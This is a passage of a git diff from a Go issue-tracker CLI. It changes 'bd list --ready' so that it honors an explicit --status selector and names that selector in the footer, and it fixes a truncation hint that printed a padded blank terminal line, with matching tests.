got: %q", line) } @@ -212,3 +221,65 @@ func TestListFooterLineTruncationDisclosedAlongsideReady(t *testing.T) { t.Errorf("a truncated page must never be labelled Total: %q", line) } } + +// GH#5832: an explicit --status under --ready is a different pin. The default +// "open only — --ready excludes in_progress" sentence must not be reused. +func TestListFooterLineReadyExplicitStatusNamesSelector(t *testing.T) { + line := listFooterLine(3, 0, 3, false, true, "in_progress") + if strings.Contains(line, "open only") || strings.Contains(line, "excludes in_progress") { + t.Errorf("explicit --status must not reuse the default-open sentence: %q", line) + } + if !strings.Contains(line, "in_progress only") { + t.Errorf("explicit --status footer must name the selected status, got: %q", line) + } + if strings.Contains(line, "in progress)") { + t.Errorf("--ready summary must still omit the vacuous in-progress count: %q", line) + } +} + +// --pretty/--tree/--deps share displayPrettyListWithDepsMode; --watch uses +// displayWatchedIssueList. Both must thread the explicit selector so the +// default-open sentence cannot leak through a wrapper. +func TestDisplayPrettyListWithDepsReadyExplicitStatusFooter(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-1", Title: "A", Status: types.StatusInProgress, Priority: 1, IssueType: types.TypeTask}, + } + + out := captureStdout(t, func() error { + displayPrettyListWithDeps(issues, false, nil, false, true, "in_progress") + return nil + }) + if strings.Contains(out, "open only") || strings.Contains(out, "excludes in_progress") { + t.Errorf("--status in_progress --ready --pretty reused the default-open sentence: %q", out) + } + if !strings.Contains(out, "in_progress only") { + t.Errorf("--status in_progress --ready --pretty must name the selected status, got: %q", out) + } + + depsOut := captureStdout(t, func() error { + displayPrettyListWithDepsMode(issues, false, nil, "scheduling", false, true, "in_progress") + return nil + }) + if strings.Contains(depsOut, "open only") || strings.Contains(depsOut, "excludes in_progress") { + t.Errorf("--status in_progress --ready --deps reused the default-open sentence: %q", depsOut) + } + if !strings.Contains(depsOut, "in_progress only") { + t.Errorf("--status in_progress --ready --deps must name the selected status, got: %q", depsOut) + } +} + +func TestDisplayWatchedIssueListReadyExplicitStatusFooter(t *testing.T) { + issues := []*types.Issue{ + {ID: "bd-1", Title: "A", Status: types.StatusInProgress, Priority: 1, IssueType: types.TypeTask}, + } + out := captureStdout(t, func() error { + displayWatchedIssueList(context.Background(), nil, issues, false, true, "in_progress") + return nil + }) + if strings.Contains(out, "open only") || strings.Contains(out, "excludes in_progress") { + t.Errorf("--status in_progress --ready --watch reused the default-open sentence: %q", out) + } + if !strings.Contains(out, "in_progress only") { + t.Errorf("--status in_progress --ready --watch must name the selected status, got: %q", out) + } +} diff --git a/cmd/bd/list_helpers_test.go b/cmd/bd/list_helpers_test.go index 64d0a30ef..e205f0323 100644 --- a/cmd/bd/list_helpers_test.go +++ b/cmd/bd/list_helpers_test.go @@ -317,7 +317,7 @@ func TestListDisplayPrettyList_TruncatedSummary(t *testing.T) { } out := captureStdout(t, func() error { - displayPrettyListWithDepsMode(issues, false, nil, "", true, false) + displayPrettyListWithDepsMode(issues, false, nil, "", true, false, "") return nil }) if !strings.Contains(out, "Showing 2 issues") { @@ -343,7 +343,7 @@ func TestDisplayWatchedIssueList_UsesDependencyHierarchy(t *testing.T) { } out := captureStdout(t, func() error { - displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false) + displayWatchedIssueList(context.Background(), store, []*types.Issue{child, parent}, false, false, "") return nil }) diff --git a/cmd/bd/list_proxied_server.go b/cmd/bd/list_proxied_server.go index e4bc8cd5e..6a05ededa 100644 --- a/cmd/bd/list_proxied_server.go +++ b/cmd/bd/list_proxied_server.go @@ -156,7 +156,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er if err != nil { return fmt.Errorf("initial query: %w", err) } - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag) + displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) printTruncationHint(hasMore, in.effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -183,7 +183,7 @@ func runListProxiedWatch(_ *cobra.Command, ctx context.Context, in listInput) er snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag) + displayPrettyListWithDeps(issues, true, deps, hasMore, in.ReadyFlag, in.Status) printTruncationHint(hasMore, in.effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -239,7 +239,7 @@ func renderProxiedListText(ctx context.Context, out io.Writer, issues []*types.I printTruncationHint(truncated, in.effectiveLimit) return nil } - displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag) + displayPrettyListWithDepsMode(issues, false, depsByIssueID, in.depsMode, truncated, in.ReadyFlag, in.Status) printTruncationHint(truncated, in.effectiveLimit) printSkipLabelsFooter(in.SkipLabels) return nil diff --git a/cmd/bd/list_show_filter_modes.go b/cmd/bd/list_show_filter_modes.go index 7573269ee..562f922c4 100644 --- a/cmd/bd/list_show_filter_modes.go +++ b/cmd/bd/list_show_filter_modes.go @@ -156,7 +156,7 @@ func loadWatchedIssues(ctx context.Context, store storage.DoltStorage, filter ty // names its scope instead of asserting an in-progress count the ready filter // forced to zero. A watch loop is where a stale "0 in progress" is most likely // to be read as a live fact, so this is the path that most needs it. -func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool) { +func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore, issues []*types.Issue, truncated, readyFiltered bool, statusSelector string) { var allDeps map[string][]*types.Dependency if store != nil { deps, err := store.GetAllDependencyRecords(ctx) @@ -164,7 +164,7 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore allDeps = deps } } - displayPrettyListWithDeps(issues, true, allDeps, truncated, readyFiltered) + displayPrettyListWithDeps(issues, true, allDeps, truncated, readyFiltered, statusSelector) } // watchIssues returns an error only for the initial query — a failure there @@ -174,7 +174,7 @@ func displayWatchedIssueList(ctx context.Context, store watchListDependencyStore // runListCore route a MaxRows cap violation through handleMaxRowsError for // exit-code-2 semantics instead of watchIssues swallowing it and exiting 0 // (be-x42v.4 follow-up, review MUST-FIX 5). -func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.IssueFilter, ready bool, parentID string, sortBy string, reverse bool, effectiveLimit int) error { +func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.IssueFilter, ready bool, parentID string, sortBy string, reverse bool, effectiveLimit int, statusSelector string) error { // Initial display issues, err := loadWatchedIssues(ctx, store, filter, ready, parentID, sortBy, reverse) if err != nil { @@ -184,7 +184,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is // below depends on; what is left is the cut and its verdict, and those are // the shared epilogue's on every other listing this command has. issues, truncated := workapi.FinishPage(issues, "", false, effectiveLimit, false) - displayWatchedIssueList(ctx, store, issues, truncated, ready) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) printTruncationHint(truncated, effectiveLimit) lastSnapshot := issueSnapshot(issues) @@ -214,7 +214,7 @@ func watchIssues(ctx context.Context, store storage.DoltStorage, filter types.Is snap := issueSnapshot(issues) if snap != lastSnapshot { lastSnapshot = snap - displayWatchedIssueList(ctx, store, issues, truncated, ready) + displayWatchedIssueList(ctx, store, issues, truncated, ready, statusSelector) printTruncationHint(truncated, effectiveLimit) fmt.Fprintf(os.Stderr, "\nWatching for changes... (Press Ctrl+C to exit)\n") } @@ -256,7 +256,7 @@ func runListProxiedHierarchicalParent(ctx context.Context, uw uow.UnitOfWork, in } // Hierarchical --parent walks use an unlimited per-level query; never page-truncated. - displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag) + displayPrettyListWithDepsMode(treeIssues, false, depsByIssueID, in.depsMode, false, in.ReadyFlag, in.Status) printSkipLabelsFooter(in.SkipLabels) return nil } diff --git a/cmd/bd/list_tree.go b/cmd/bd/list_tree.go index 2cd17c0af..9b1838727 100644 --- a/cmd/bd/list_tree.go +++ b/cmd/bd/list_tree.go @@ -147,26 +147,28 @@ func printPrettyTree(childrenMap map[string][]*types.Issue, parentID string, pre // There is no --ready arm behind this one: it is the plain tree, so the // summary keeps its status breakdown. func displayPrettyList(issues []*types.Issue, showHeader bool) { - displayPrettyListWithDeps(issues, showHeader, nil, false, false) + displayPrettyListWithDeps(issues, showHeader, nil, false, false, "") } // displayPrettyListWithDeps displays issues in tree format using dependency data. -// readyFiltered must be threaded from the caller's --ready state rather than -// defaulted here: the watch paths reach the summary through this wrapper, and a -// hardcoded false silently restores the vacuous "(N open, 0 in progress)" that -// listFooterLine exists to suppress. -func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool) { - displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered) +// readyFiltered and statusSelector must be threaded from the caller's --ready +// / --status state rather than defaulted here: the watch paths reach the +// summary through this wrapper, and a hardcoded false silently restores the +// vacuous "(N open, 0 in progress)" that listFooterLine exists to suppress. +func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, truncated, readyFiltered bool, statusSelector string) { + displayPrettyListWithDepsMode(issues, showHeader, allDeps, "", truncated, readyFiltered, statusSelector) } // listFooterLine renders the one-line summary under a text listing. // // The status breakdown is only meaningful when the query could have returned -// more than one status. Under --ready it cannot: BuildListFilter pins -// filter.Status to open (internal/workapi/list.go), so every row is open by -// construction and the breakdown degenerates to a tautology — "(N open, 0 in -// progress)" is what it prints for ANY database, including one with a thousand -// in-progress issues matching the same label. +// more than one status. Under --ready the query is status-pinned: the default +// (no --status, or --status all) is still open, so "(N open, 0 in progress)" +// is a tautology for ANY database, including one with a thousand in-progress +// issues matching the same label. An explicit --status is the intersection +// (GH#5832), and the same tautology applies to whatever selector was asked +// for — the footer must name that selector rather than reuse the default-open +// sentence. // // Printed next to a real count that number reads as a finding rather than an // artifact of the flag: "0 in progress" answers the question "is anything in @@ -175,13 +177,14 @@ func displayPrettyListWithDeps(issues []*types.Issue, showHeader bool, allDeps m // construction, say what was excluded instead of asserting a count for it. This // is the same principle as the truncation arm below, which refuses to label a // cut-off page "Total" (GH#5362): a count is only honest alongside its scope. -func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool) string { +func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool, statusSelector string) string { if readyFiltered { // No status breakdown: --ready makes it vacuous. Name the scope instead. + scope := readyFooterScope(statusSelector) if truncated { - return fmt.Sprintf("Showing %d ready issues (open only — --ready excludes in_progress); more match (truncated by --limit). Use --limit 0 for all.", total) + return fmt.Sprintf("Showing %d ready issues (%s); more match (truncated by --limit). Use --limit 0 for all.", total, scope) } - return fmt.Sprintf("Ready: %d issues with no active blockers (open only — --ready excludes in_progress)", total) + return fmt.Sprintf("Ready: %d issues with no active blockers (%s)", total, scope) } if truncated { return fmt.Sprintf("Showing %d issues (%d open, %d in progress); more match (truncated by --limit). Use --limit 0 for all.", @@ -190,14 +193,31 @@ func listFooterLine(total, open, inProgress int, truncated, readyFiltered bool) return fmt.Sprintf("Total: %d issues (%d open, %d in progress)", total, open, inProgress) } +// readyFooterScope names the status pin a --ready listing actually used. +// Empty / "all" still take the open default; an explicit selector is the +// intersection and must not reuse "excludes in_progress" (GH#5832). +func readyFooterScope(statusSelector string) string { + var parts []string + for _, part := range strings.Split(statusSelector, ",") { + part = strings.TrimSpace(part) + if part != "" { + parts = append(parts, part) + } + } + if len(parts) == 0 || (len(parts) == 1 && parts[0] == "all") { + return "open only — --ready excludes in_progress" + } + return strings.Join(parts, ",") + " only" +} + // displayPrettyListWithDepsMode displays issues in tree format. When depsMode is // "scheduling" or "all", the tree also annotates each node's dependency edges and // orders siblings by their scheduling dependencies (see orderSiblingsByDeps). An // empty depsMode is the plain parent-child tree. truncated means the page was cut // by --limit; the summary then says "Showing N" instead of "Total: N" (GH#5362). -// readyFiltered means --ready was in force, which pins the query to open issues — -// see listFooterLine for why the summary must say so. -func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool) { +// readyFiltered means --ready was in force; statusSelector is the --status value +// so the summary names the pin that actually applied — see listFooterLine. +func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDeps map[string][]*types.Dependency, depsMode string, truncated, readyFiltered bool, statusSelector string) { if showHeader { // Clear screen and show header fmt.Print("\033[2J\033[H") @@ -243,7 +263,7 @@ func displayPrettyListWithDepsMode(issues []*types.Issue, showHeader bool, allDe inProgressCount++ } } - fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered)) + fmt.Println(listFooterLine(len(issues), openCount, inProgressCount, truncated, readyFiltered, statusSelector)) fmt.Println() fmt.Println("Status: ○ open ◐ in_progress ● blocked ✓ closed ❄ deferred") fmt.Println("Priority: P0–P4 (label only; not a status icon)") diff --git a/internal/workapi/list.go b/internal/workapi/list.go index 761d822d2..1798824c1 100644 --- a/internal/workapi/list.go +++ b/internal/workapi/list.go @@ -225,7 +225,12 @@ func BuildListFilter(in issueops.ListRequest, cfg ListConfig) (types.IssueFilter statusParts := splitStatusSelector(in.Status) statusAll := len(statusParts) == 1 && statusParts[0] == "all" - if in.ReadyFlag { + // --ready defaults to open (the blocker-aware query's historical pin), + // but an explicit --status is an intersection, not an override. Dropping + // the selector used to answer `bd list --status X --ready` with the + // unfiltered ready set (GH#5832). `--status all` is the no-filter + // spelling, so the open default still applies there. + if in.ReadyFlag && (len(statusParts) == 0 || statusAll) { s := types.StatusOpen filter.Status = &s } else if len(statusParts) > 0 && !statusAll { @@ -465,9 +470,10 @@ func splitStatusSelector(status string) []string { // pinned-carrying beads: the pinned or hooked status, or — when the selector // actually applies to the query — the "all" selector, which promises every // status. The pinned default is not forced off for a filter that asks for -// those beads. allApplies is false under --ready, which forces status open -// and otherwise ignores the selector, so "all" must not lift the pinned -// default there. +// those beads. allApplies is false under --ready: `--status all` (and the +// omitted selector) still pin open, so "all" must not lift the pinned +// default there. Explicit selectors are honored under --ready (GH#5832); +// pinned and hooked still return true regardless of allApplies. func statusSelectsPinned(parts []string, allApplies bool) bool { for _, part := range parts { switch part { diff --git a/internal/workapi/list_pinned_test.go b/internal/workapi/list_pinned_test.go index 58d36280c..38e944092 100644 --- a/internal/workapi/list_pinned_test.go +++ b/internal/workapi/list_pinned_test.go @@ -66,11 +66,11 @@ func TestPinnedDefaultBySelector(t *testing.T) { } }) - // --ready forces status open and otherwise IGNORES the selector, so an - // "all" that the query never applies must not have a pinned side effect + // `--status all` is the no-filter spelling, so --ready still pins open. + // An "all" that the query never applies must not have a pinned side effect // either. Without this, `bd list --ready --status=all` would admit pinned // beads into a ready listing that is filtered to open. - t.Run("--ready ignores the selector, including for pinned", func(t *testing.T) { + t.Run("--ready --status=all does not admit pinned", func(t *testing.T) { got := pinnedDefault(t, issueops.ListRequest{Status: "all", ReadyFlag: true}) if got == nil || *got { t.Errorf("--ready --status=all: Pinned = %v, want false", got) diff --git a/internal/workapi/list_ready_status_test.go b/internal/workapi/list_ready_status_test.go new file mode 100644 index 000000000..ab30e4105 --- /dev/null +++ b/internal/workapi/list_ready_status_test.go @@ -0,0 +1,123 @@ +package workapi + +import ( + "reflect" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestReadyStatusAndReadyIntersect pins GH#5832: `bd list --status X --ready` +// is the intersection, not the unfiltered ready set. These are builder and +// projection tests so they stay in the CGO_ENABLED=0 lane. +func TestReadyStatusAndReadyIntersect(t *testing.T) { + t.Run("status X --ready keeps status X", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusInProgress { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusInProgress) + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != types.StatusInProgress { + t.Fatalf("WorkFilter.Status = %q, want %q", wf.Status, types.StatusInProgress) + } + if len(wf.Statuses) != 0 { + t.Fatalf("WorkFilter.Statuses = %v, want empty", wf.Statuses) + } + }) + + t.Run("custom status --ready keeps the custom status", func(t *testing.T) { + cfg := ListConfig{CustomStatuses: []types.CustomStatus{{Name: "unrefined", Category: types.CategoryWIP}}} + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "unrefined"}, cfg) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.Status("unrefined") { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, "unrefined") + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != types.Status("unrefined") { + t.Fatalf("WorkFilter.Status = %q, want %q", wf.Status, "unrefined") + } + }) + + t.Run("zero-match status is not rewritten to the open ready set", func(t *testing.T) { + plain, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter(ready): %v", err) + } + if got := ReadyFilterFromIssueFilter(plain).Status; got != types.StatusOpen { + t.Fatalf("plain --ready WorkFilter.Status = %q, want %q", got, types.StatusOpen) + } + + filtered, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter(ready+in_progress): %v", err) + } + wf := ReadyFilterFromIssueFilter(filtered) + if wf.Status != types.StatusInProgress { + t.Fatalf("WorkFilter.Status = %q, want %q (must not fall back to the unfiltered ready pin)", wf.Status, types.StatusInProgress) + } + if wf.Status == ReadyFilterFromIssueFilter(plain).Status { + t.Fatal("zero-match --status was rewritten to the unfiltered ready status") + } + }) + + t.Run("plain --ready still pins open", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusOpen { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusOpen) + } + if got := ReadyFilterFromIssueFilter(filter).Status; got != types.StatusOpen { + t.Fatalf("WorkFilter.Status = %q, want %q", got, types.StatusOpen) + } + }) + + t.Run("status all --ready keeps the open default", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "all"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + if filter.Status == nil || *filter.Status != types.StatusOpen { + t.Fatalf("IssueFilter.Status = %v, want %q", filter.Status, types.StatusOpen) + } + }) + + t.Run("multi-status --ready copies the OR set", func(t *testing.T) { + filter, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "open,in_progress"}, ListConfig{}) + if err != nil { + t.Fatalf("BuildListFilter: %v", err) + } + want := []types.Status{types.StatusOpen, types.StatusInProgress} + if !reflect.DeepEqual(filter.Statuses, want) { + t.Fatalf("IssueFilter.Statuses = %v, want %v", filter.Statuses, want) + } + if filter.Status != nil { + t.Fatalf("IssueFilter.Status = %v, want nil when Statuses is set", filter.Status) + } + wf := ReadyFilterFromIssueFilter(filter) + if wf.Status != "" { + t.Fatalf("WorkFilter.Status = %q, want empty so Statuses is not ignored", wf.Status) + } + if !reflect.DeepEqual(wf.Statuses, want) { + t.Fatalf("WorkFilter.Statuses = %v, want %v", wf.Statuses, want) + } + }) + + t.Run("invalid status --ready errors instead of dropping --status", func(t *testing.T) { + _, err := BuildListFilter(issueops.ListRequest{ReadyFlag: true, Status: "not-a-status"}, ListConfig{}) + if err == nil { + t.Fatal("BuildListFilter unexpectedly succeeded") + } + if !strings.Contains(err.Error(), "invalid status") || !strings.Contains(err.Error(), "not-a-status") { + t.Fatalf("unexpected error: %v", err) + } + }) +} diff --git a/internal/workapi/ready.go b/internal/workapi/ready.go index 073e5f475..729c4756f 100644 --- a/internal/workapi/ready.go +++ b/internal/workapi/ready.go @@ -41,7 +41,9 @@ func LimitOr(limit *int, fallback int) int { // own to shape, and running it through here would change it. func BuildReadyFilter(in issueops.ReadyRequest) (types.WorkFilter, error) { filter := types.WorkFilter{ - // Open only, not in_progress - the same set `bd list --ready` shows. + // Open only, not in_progress - the same set `bd list --ready` shows + // when --status is omitted (an explicit --status is an intersection; + // GH#5832). Status: types.StatusOpen, Type: utils.NormalizeIssueType(in.IssueType), Limit: LimitOr(in.Limit, DefaultReadyLimit), diff --git a/internal/workapi/sort.go b/internal/workapi/sort.go index ecc27ec41..cbaad3c5f 100644 --- a/internal/workapi/sort.go +++ b/internal/workapi/sort.go @@ -48,7 +48,6 @@ func CompareIssuesBy(a, b *types.Issue, sortBy string) int { // filter on. func ReadyFilterFromIssueFilter(filter types.IssueFilter) types.WorkFilter { wf := types.WorkFilter{ - Status: types.StatusOpen, Limit: filter.Limit, Offset: filter.Offset, Labels: filter.Labels, @@ -70,6 +69,18 @@ func ReadyFilterFromIssueFilter(filter types.IssueFilter) types.WorkFilter { // --brief` with full rows and nothing to say why. Lite: filter.Lite, } + // Status is copied the same way as assignee/priority/labels: an explicit + // selector on the list filter is the ready-work selector too. The open + // default is only the fallback when BuildListFilter did not write one + // (plain `--ready`, or `--ready --status all`). Hard-coding StatusOpen + // here used to drop `--status` even after the builder honored it (GH#5832). + if filter.Status != nil { + wf.Status = *filter.Status + } else if len(filter.Statuses) > 0 { + wf.Statuses = append([]types.Status(nil), filter.Statuses...) + } else { + wf.Status = types.StatusOpen + } if filter.IssueType != nil { wf.Type = string(*filter.IssueType) } diff --git a/internal/workapi/testdata/list_filter_golden.json b/internal/workapi/testdata/list_filter_golden.json index d7fa4f5f2..cd03e29a9 100644 --- a/internal/workapi/testdata/list_filter_golden.json +++ b/internal/workapi/testdata/list_filter_golden.json @@ -1165,7 +1165,7 @@ } }, { - "name": "ready_flag_overrides_status", + "name": "ready_flag_honors_status", "params": { "ReadyFlag": true, "Status": "closed", @@ -1173,7 +1173,7 @@ }, "config": {}, "filter": { - "Status": "open", + "Status": "closed", "Statuses": null, "Priority": null, "IssueType": null, diff --git a/issueops/reader.go b/issueops/reader.go index 80db1527d..a5b54cf78 100644 --- a/issueops/reader.go +++ b/issueops/reader.go @@ -340,7 +340,9 @@ type ListRequest struct { // narrower filter vocabulary than this request can describe, and only part // of the request reaches it. // - // WHAT IT CARRIES: IssueType, all five label forms, Assignee, NoAssignee, + // WHAT IT CARRIES: Status/Statuses (an explicit --status is the + // intersection; AllFlag and `--status all` still take the open default), + // IssueType, all five label forms, Assignee, NoAssignee, // the exact Priority, ParentID, MolType, WispType, MetadataFields, // HasMetadataKey, the type exclusions (ExcludeTypes, and with them // IncludeGates and IncludeInfra), IncludeEphemeral — the ready query has an @@ -348,8 +350,7 @@ type ListRequest struct { // IncludeInfra's plane half crosses with it — Limit, Offset and the MaxRows // cap with its attribution. SortBy and Reverse // still apply, because the display order is applied to the page after the - // query rather than inside it. Status and AllFlag are resolved to "open" - // and have no further effect: ready work is open work. + // query rather than inside it. // // WHAT IT REFUSES: every other filter here is one the ready query cannot // carry, so combining it with ReadyFlag returns ErrValidation naming the diff --git a/issueops/reader_ready_scope.go b/issueops/reader_ready_scope.go index bfcda1b3d..bf3ee326c 100644 --- a/issueops/reader_ready_scope.go +++ b/issueops/reader_ready_scope.go @@ -29,7 +29,7 @@ type readyScopeField struct { // Four groups are deliberately ABSENT, because listing them here would refuse // requests that are answered correctly today: // -// - What the projection carries: IssueType, all five label forms, Assignee, +// - What the projection carries: Status/Statuses (GH#5832), IssueType, all five label forms, Assignee, // NoAssignee, the exact Priority, ParentID, MolType, WispType, // MetadataFields, HasMetadataKey, ExcludeTypes (and with it IncludeGates // and IncludeInfra's type suppression), IncludeEphemeral (and with it @@ -46,12 +46,15 @@ type readyScopeField struct { // Refusing that would be refusing a correct answer over its cost, and the // promise is already stated where a caller reads it (ListRequest.ReadyFlag). // -// - Status and AllFlag. The builder resolves both to "open" under ReadyFlag -// before the projection ever runs, so IssueFilter.Statuses is never -// populated on this path and there is nothing for the projection to drop. -// Ready work is open work; that override is pinned by the builder's golden -// file (internal/workapi/testdata/list_filter_golden.json, -// ready_flag_overrides_status). +// - AllFlag, and `--status all`. The builder resolves both to "open" under +// ReadyFlag before the projection ever runs (`all` is the no-filter +// spelling). An explicit --status is carried: BuildListFilter writes it +// onto IssueFilter and ReadyFilterFromIssueFilter copies Status/Statuses +// onto the ready-work filter, so `bd list --status X --ready` is the +// intersection rather than the unfiltered ready set (GH#5832). Status is +// therefore ABSENT from this drop set because it is honored, not because +// it is overridden. The default-open pin is the golden +// `ready_flag` case; the honor path is `ready_flag_honors_status`. // // - NoPinnedFlag. Pinned is dropped by the projection, but the ready-work // WHERE clause excludes pinned rows unconditionally From 766c0bd15a7e368cf4541a48989cd328fed22ea1 Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 2 Sep 2026 18:12:19 -0700 Subject: [PATCH 033/624] fix(list): stop truncation hint padding a blank TTY line (#5927) printTruncationHint fed surrounding newlines through ui.RenderWarn. lipgloss treats that as a block, pads the blank lines to the widest-line width (alignTextHorizontal shortAmount = widestLine - lineWidth), and drops the trailing newline (GH#5685). The next shell prompt then prints on the same line as a run of spaces. Keep the newlines outside RenderWarn so the hint is one colored line with a real trailing newline. Tests construct an explicitly styled lipgloss Style so the padded blank-line shape fails if the helper is reverted. Fixes #5685. --- cmd/bd/list_output.go | 20 +++++++- cmd/bd/list_output_test.go | 102 +++++++++++++++++++++++++++++++++++++ 2 files changed, 120 insertions(+), 2 deletions(-) diff --git a/cmd/bd/list_output.go b/cmd/bd/list_output.go index 48f5e01d9..7266f3a0a 100644 --- a/cmd/bd/list_output.go +++ b/cmd/bd/list_output.go @@ -5,6 +5,7 @@ import ( "fmt" "io" "os" + "strings" "text/template" "github.com/steveyegge/beads/internal/types" @@ -18,8 +19,23 @@ func printTruncationHint(truncated bool, effectiveLimit int) { if !truncated || effectiveLimit <= 0 || !ui.IsStderrTerminal() { return } - msg := fmt.Sprintf("\nShowing %d issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.\n", effectiveLimit) - fmt.Fprint(os.Stderr, ui.RenderWarn(msg)) + fmt.Fprint(os.Stderr, formatTruncationHint(effectiveLimit)) +} + +func truncationHintText(effectiveLimit int) string { + return fmt.Sprintf("Showing %d issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.", effectiveLimit) +} + +func formatTruncationHint(effectiveLimit int) string { + return composeTruncationHint(ui.RenderWarn, truncationHintText(effectiveLimit)) +} + +// composeTruncationHint keeps newlines outside the renderer. lipgloss pads +// blank lines to the widest-line width (alignTextHorizontal shortAmount = +// widestLine - lineWidth) and drops the trailing newline (GH#5685). +func composeTruncationHint(render func(string) string, text string) string { + rendered := strings.TrimRight(render(text), " \t\r\n") + return "\n" + rendered + "\n" } func outputDotFormat(out io.Writer, issues []*types.Issue, depsByIssueID map[string][]*types.Dependency) error { diff --git a/cmd/bd/list_output_test.go b/cmd/bd/list_output_test.go index 42acb561d..dc55af4c8 100644 --- a/cmd/bd/list_output_test.go +++ b/cmd/bd/list_output_test.go @@ -4,9 +4,11 @@ import ( "bytes" "errors" "io" + "regexp" "strings" "testing" + lipgloss "charm.land/lipgloss/v2" "github.com/steveyegge/beads/internal/types" ) @@ -167,3 +169,103 @@ func TestOutputFormattedListWithNoEdgesDoesNotWrite(t *testing.T) { t.Fatalf("zero-edge output made %d writes, want 0", writer.writes) } } + +func TestFormatTruncationHintExactBytes(t *testing.T) { + t.Parallel() + + got := formatTruncationHint(2) + plain := stripANSIForTest(got) + const want = "\nShowing 2 issues; more results matched but were hidden by --limit. Use --limit 0 for all, or --limit N to raise the cap.\n" + if plain != want { + t.Fatalf("truncation hint bytes differ\ngot:\n%q\nwant:\n%q", plain, want) + } + if !strings.HasSuffix(got, "\n") { + t.Fatal("truncation hint missing trailing newline") + } + if strings.HasSuffix(got, "\n\n") { + t.Fatal("truncation hint ended with a double newline") + } + assertNoWhitespaceOnlyLine(t, plain) + + got10 := stripANSIForTest(formatTruncationHint(10)) + if !strings.Contains(got10, "Showing 10 issues;") { + t.Fatalf("limit interpolation missing: %q", got10) + } + if strings.HasPrefix(got10, "\n\n") { + t.Fatalf("leading double newline: %q", got10) + } +} + +func TestComposeTruncationHintRejectsLipglossBlankLinePadding(t *testing.T) { + t.Parallel() + + // Empty lipgloss Style (props==0) is identity — the colorless test + // default, and why RenderWarn("\n"+text+"\n") did not catch GH#5685. + // Foreground sets props so alignTextHorizontal pads blank lines to + // the widest-line width (not terminal width; no PTY required). + style := lipgloss.NewStyle().Foreground(lipgloss.Color("3")) + render := func(s string) string { return style.Render(s) } + text := truncationHintText(2) + + buggy := render("\n" + text + "\n") + got := composeTruncationHint(render, text) + + buggyPlain := stripANSIForTest(buggy) + gotPlain := stripANSIForTest(got) + + padWidth := whitespaceOnlyLineWidth(buggyPlain) + if padWidth == 0 { + t.Fatalf("fixture: styled Render of newline-wrapped text should pad a blank line; got %q", buggyPlain) + } + if padWidth != len(text) { + t.Fatalf("lipgloss pad width = %d, want hint length %d (widest-line width, not terminal width)\nbuggy=%q", padWidth, len(text), buggyPlain) + } + widest := widestNonBlankLineWidth(buggyPlain) + if padWidth != widest { + t.Fatalf("lipgloss pad width = %d, want widest-line width %d\nbuggy=%q", padWidth, widest, buggyPlain) + } + + assertNoWhitespaceOnlyLine(t, gotPlain) + if !strings.HasSuffix(got, "\n") { + t.Fatalf("composeTruncationHint missing trailing newline: %q", got) + } + if strings.HasSuffix(got, "\n\n") { + t.Fatal("composeTruncationHint ended with a double newline") + } + if got == buggy { + t.Fatalf("composeTruncationHint still 